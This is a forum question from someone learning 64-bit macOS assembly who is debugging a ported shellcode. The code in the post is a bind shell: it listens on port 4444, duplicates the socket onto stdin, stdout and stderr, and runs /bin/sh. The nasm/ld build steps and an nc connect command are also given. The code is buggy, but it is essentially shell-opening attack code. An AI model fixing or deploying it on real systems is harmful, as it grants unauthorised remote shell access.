osx x64 reverse tcp shell code program terminate with success <p>Been trying to learn some assembler 64 bit on osx and thought a good exercise would be to port a reverse tcp shell code. The program then compiled and linked run fine and listen to the given port 4444, but then I try to connect with <code>nc -nv 127.0.0.1 4444</code> the shell_code terminate with success and the response back to nc is: Connection to 127.0.0.1 4444 port [tcp/*] succeeded!</p> <p>It is compiled and linked with:</p> <pre><code>nasm -g -f macho64 bindshell.s ld -arch x86_64 -macosx_version_min 10.7.0 -lSystem -o bindshell bindshell.o (nasm -v NASM version 2.11.02 compiled on Feb 19 2014) uname -a Darwin MacBook-Pro.local 12.4.0 Darwin Kernel Version 12.4.0: Wed May 1 17:57:12 PDT 2013; root:xnu-2050.24.15~1/RELEASE_X86_64 x86_64 </code></pre> <p>Been trying to debug it and looked at registers and memory but can't see whats missing, new to 64 bit assembler. The code used is:</p> <pre><code>BITS 64 section .text global start start: jmp runsh start_shell: dd '/bin//sh', 0 runsh: lea r14, [rel start_shell] ; get address of shell mov rax, 0x2000061 ; call socket(SOCK_STREAM, AF_NET, 0); mov rdi, 2 ; SOCK_STREAM = 2 mov rsi, 1 ; AF_NET = 1 xor rdx, rdx ; protocol, set to 0 syscall mov r12, rax ; save socket from call sock_addr: xor r8, r8 ; clear the value of r8 push r8 ; push r8 to the stack as it's null (INADDR_ANY = 0) push WORD 0x5C11 ; push our port number to the stack (Port = 4444) push WORD 2 ; push protocol argument to the stack (AF_INET = 2) mov r13, rsp ; Save the sock_addr_in into r13 ;bind mov rax, 0x2000068 ; bind(sockfd, sockaddr, addrleng); mov rdi, r12 ; sockfd from socket syscall mov rsi, r13 ; sockaddr mov rdx, 16 ; addrleng the ip address length syscall ;listen mov rax, 0x200006A ; int listen(sockfd, backlog); mov rdi, r12 ; sockfd xor rsi, rsi ; backlog syscall ;accept mov rax, 0x200001E ; int accept(sockfd, sockaddr, socklen); mov rdi, r12 ; sockfd xor rsi, rsi ; sockaddr xor rdx, rdx ; socklen syscall dup: ; dup2 for stdin, stdout and stderr mov rax, 0x200005A ; move the syscall for dup2 into rax mov rdi, r12 ; move the FD for the socket into rdi syscall ; call dup2(rdi, rsi) cmp rsi, 0x2 ; check to see if we are still under 2 inc rsi ; inc rsi jbe dup ; jmp if less than 2 ;execve mov rax, 0x200003B ; execve(char *fname, char **argp, char **envp); mov rdi, r14 ; set the address to shell xor rsi, rsi xor rdx, rdx run_cmd: ; using as break point syscall </code></pre>